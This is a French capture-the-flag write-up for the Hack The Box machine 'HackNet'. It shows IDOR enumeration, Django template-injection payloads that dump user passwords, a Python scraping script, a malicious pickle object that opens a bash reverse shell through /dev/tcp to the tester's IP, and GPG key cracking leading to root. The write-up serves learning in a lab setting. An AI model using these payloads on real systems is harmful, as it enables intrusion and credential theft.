HackNet

Prises de Notes de mes box HTB
Retour à la mosaïque

HackNet est une box Linux de medium pour HTB mais qui m'a paru difficile reposant fortement sur le framework python Django. Elle met en lumière des vulnérabilités de type SSTI, des fuites d'informations massives, et une élévation de privilège basée sur la désérialisation non sécurisée de caches applicatifs (Pickle).

Accès initial

La phase de reconnaissance démarre par mon scan Nmap habituel :

~ $ nmap -sC -sV hacknet.htb 
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-21 00:13 +0100
Nmap scan report for hacknet.htb (10.10.11.85)
Host is up (0.022s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_  256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: HackNet - social network for hackers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On est sur un "réseau social pour hackers". Je tente machinalement une petite XSS via un classique <h1>post</h1> dans un message posté, mais la chaîne est proprement échappée et affichée sans danger par le frontend.

Je m'assure également de scripter une rapide recherche de sous-domaines (Fuzzing) pour le Vhost hacknet.htb, sans aucun succès de ce côté-là. Je continue donc à explorer les technologies de base utilisées sur l'application web. Mon curl sur les en-têtes HTTP de la page principale m'éclaire d'entrée de jeu :

~ $ curl -I hacknet.htb
HTTP/1.1 200 OK
Server: nginx/1.22.1
...
X-Frame-Options: DENY
Vary: Cookie

En inspectant les réponses HTTP du serveur web Nginx, la présence du token csrfmiddlewaretoken trahit immédiatement l'utilisation du framework Python fullstack Django puisque c'est le 3e résultat de recherche sur Google.

Pour confirmer d'éventuelles vulnérabilités publiques (comme la fameuse CVE-2021-35042 pour l'injection SQL), j'essaie d'extraire la version de Django en étudiant l'arborescence des fichiers statiques d'administration (/static/admin/css/base.css). Bien que je retrouve l'arbre complet du layout, la version exacte est bien cachée à mon plus grand désarroi.

En naviguant sur l'application, je constate que l'URL d'accès aux profils utilisateurs ressemble à http://hacknet.htb/profile/1. Je tente immédiatement une simple attaque de type IDOR en manipulant l'ID, et bingo, j'ai bien accès aux autres profils. Je décide d'automatiser l'extraction des identifiants valides avec une simple boucle Bash :

~ $ for i in {1..100}; do 
    user=$(curl -s -b "csrftoken=eKDRdea63...; sessionid=zriwa7..." "http://hacknet.htb/profile/$i" | grep -oP '(?<=HackNet - ).*?(?=</title>)');
    [ ! -z "$user" ] && echo "ID $i: $user";
done
ID 1: cyberghost
ID 2: hexhunter
...
ID 25: shadowwalker

J'ai donc plus de 25 utilisateurs à disposition.

Exploitation d'une SSTI (Template Injection)

L'interface permet d'afficher la liste des personnes ayant "liké" une publication. En survolant leurs photos de profil, le pseudo apparaît. Pour y déceler une faille de rendu, j'ai tenté de renommer mon profil test avec un classique payload de Template Injection (SSTI) Jinja/Django : {{7*7}}.

~ $ curl -s -b "csrftoken=...; sessionid=..." http://hacknet.htb/likes/12
<div class="likes-review-item"><a>Something went wrong...</a></div>

Le retour du serveur Something went wrong... m'indique que le backend a bien tenté d'interpréter le calcul.

Voici à quoi ça ressemble quand je ne like pas :

Interface affichant une liste de likes vide ou statique

Tandis qu'avec un compte piégé en likant :

Interface avec liste de likes avec infobulles des profils

Je décide donc d'extraire des données internes de Django grâce aux variables globales exposées dans les templates en poursuivant cette fois avec des strings. Si je nomme mon pseudo {{ request.user }}, la requête réussit. En ciblant la liste des utilisateurs du site avec {{ users.0.username }}, la page des likes m'affiche soudain un identifiant :

~ $ curl -s -b "csrftoken=...; sessionid=..." http://hacknet.htb/likes/12
... <a href="/profile/12"><img src="/media/12.png" title="codebreaker"></a> ...

Je récupère le username du premier liker (codebreaker). L'accès à son mot de passe est dès lors tout aussi trivial en injectant {{ users.0.password }} qui renvoie alors C0d3Br3@k! à la place !

Par curiosité, je cherche un post avec un très grand nombre de likes (ex: id 25), et j'en extrais le tout premier utilisateur inscrit : cyberghost:Gh0stH@cker2024:cyberghost@darkmail.net. Manque de chance, son adresse n'est pas une adresse @hacknet.htb exploitable localement. Il faut donc tous les extraire pour trouver le bon !

La commande magique est l'attribut {{users.values}}, qui "dump" d'un coup l'intégralité du QuerySet JSON contenant chaque compte de l'application. Je remplace encore une fois mon propre username par ce payload. En revanche, les comptes privés n'affichant pas leurs informations, j'ai donc demandé à Gemini de faire un script complet en Python pour énumérer automatiquement les pages de likes pour chaque ID, provoquer l'affichage du QuerySet sur un post, extraire le JSON renvoyé dans la balise d'image et le parser proprement :

import requests
import re
import html

url = "http://hacknet.htb"
headers = {"Cookie": "csrftoken=...; sessionid=..."}

all_users = set()

for i in range(1, 31):
    # Envoi de multiples requêtes pour forcer l'ajout dans la base et extraire le rendu
    requests.get(f"{url}/like/{i}", headers=headers)
    text = requests.get(f"{url}/likes/{i}", headers=headers).text
    img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text)
    
    # ... parsing complexe si le titre contient "<QuerySet" ...
    if img_titles and "<QuerySet" in html.unescape(img_titles[-1]):
        last_title = html.unescape(img_titles[-1])
        emails = re.findall(r"'email': '([^']*)'", last_title)
        passwords = re.findall(r"'password': '([^']*)'", last_title)
        usernames = re.findall(r"'username': '([^']*)'", last_title)

        for email, p, username in zip(emails, passwords, usernames):
            all_users.add(f"{email}:{p}:{username}")

for item in all_users:
    print(item)

Ce script dump et rassemble les trios Email, Mot de passe et Identifiant en un éclair. Parmi la trentaine de bots trouvés, j'identifie le seul utilisateur ayant un email finissant en @hacknet.htb :

whitehat:Wh!t3H@t2024:whitehat@darkmail.net
...
backdoor_bandit:mYd4rks1dEisH3re:mikey@hacknet.htb
...

Les clés de mikey@hacknet.htb avec le mot de passe mYd4rks1dEisH3re m'ouvrent la session SSH.

Élévation de privilège

Une fois connecté en mikey, je constate qu'il n'a aucun privilège sudo. Mon enquête classique des binaires possédant le setuid root (find / -perm -u=s -type f) ne donne rien d'anormal non plus. En inspectant le fichier /etc/passwd, je remarque cependant l'existence d'une autre utilisatrice clé du système portant le nom de sandy, qui semble administrer une grande partie des fichiers de l'application dans /var/www/HackNet (base de données, backups, etc).

mikey@hacknet:~$ find / -user sandy -type f 2>/dev/null | grep -v "/proc"
...
/var/www/HackNet/backups/backup03.sql.gpg
/var/www/HackNet/db.sqlite3
/var/www/HackNet/a.sh
/var/www/HackNet/HackNet/settings.py
...

En analysant les trouvailles, le script /var/www/HackNet/a.sh attire directement mon œil en dévoilant qu'un mot de passe (sweetheart) est stocké en dur pour déchiffrer les sauvegardes !

KEY_PATH="$HOME/.gnupg/private-keys-v1.d/armored_key.asc"
PASSPHRASE="sweetheart" 
gpg --batch --yes --passphrase "$PASSPHRASE" ...

L'inspection du settings.py de Django révèle quant à elle les identifiants de la base de données (h@ckn3tDBpa$$) et surtout l'utilisation d'un système de cache en mode fichier :

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
    }
}

Mouvement latéral vers Sandy (Insecure Deserialization via Pickle)

La documentation technique de Django est révélatrice : le "FileBasedCache" de Django sérialise et désérialise nativement les objets en Python avec la bibliothèque pickle/unpickle. Toute altération du cache d'un fichier lue par le processus web conduit inévitablement à l'exécution de code arbitraire.

Je génère donc un objet Pickle piégé qui renvoie un Reverse Shell en bash pour capturer la session de l'application pilotée par sandy :

import pickle
import os
import base64

IP = "10.10.14.56"
PORT = 4444

class Malicious(object):
    def __reduce__(self):
        cmd = f"bash -c 'bash -i >& /dev/tcp/{IP}/{PORT} 0>&1'"
        return (os.system, (cmd,))

payload = pickle.dumps(Malicious())
print(base64.b64encode(payload).decode())

Je navigue sur la box en tant que mikey, repère l'un des fichiers .djcache actuellement servis dans /var/tmp/django_cache/ à la suite d'un F5 sur les pages webs, et je remplace ses données par le base64 généré :

mikey@hacknet:/var/tmp/django_cache$ echo "gASVTgAAAAAAAACM..." | base64 -d > cache.d
mikey@hacknet:/var/tmp/django_cache$ mv cache.d 1f0acfe7480a469402f1852f8313db86.djcache

En rafraîchissant une dernière fois la page dans le navigateur, Django lit et désérialise mon payload. J'obtiens ainsi l'accès direct aux droits de sandy.

Déchiffrement GPG et compromission finale (Root)

Maintenant sur le compte de sandy, je m'empresse de fouiller la base de données via les identifiants trouvés dans le script de config de tout à l'heure (mysql -u sandy -p'h@ckn3tDBpa$$' hacknet). Un SELECT * FROM auth_user; me réaffiche toutes les informations utilisateurs que j'avais déjà obtenues via la SSTI. Je réalise que les conversations Root résident sûrement d'anciennes backups de la base de données !

Je peux enfin extraire la clé privée GPG de sandy hébergée dans son répertoire personnel. Cette clé armored_key.asc lui sert à sceller les exportations journalières SQL (backup01.sql.gpg).

Bien que j'aie initialement découvert le mot de passe sweetheart scripté en dur dans a.sh tout à l'heure, je vérifie en convertissant la clé avec gpg2john.py puis je la casse rapidement avec Rockyou :

~/CTF/HTB/en_cours $ gpg2john home/sandy/.gnupg/private-keys-v1.d/armored_key.asc > hash_gpg
~/CTF/HTB/en_cours $ john --wordlist=~/Wordlists/rockyou.txt hash_gpg         
...
sweetheart       (Sandy)
1g 0:00:00:00 DONE (2025-12-21 17:25)

Grâce à la passphrase sweetheart fraîchement découverte, je déchiffre les "backups" stockées dans /var/www/HackNet/backups/.

~/CTF/HTB/en_cours $ gpg --decrypt var/www/HackNet/backups/backup03.sql.gpg > root_pass.sql

En fouillant à base de grep le dump de la base de code, j'identifie un message envoyé entre administrateurs détaillant l'identifiant pour la machine "Root" :

 434 (50,'2024-12-29 20:30:41...', 'Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),

J'effectue enfin mon su root avec le flag fraîchement miné : h4ck3rs4re3veRywh3re99.

Rooted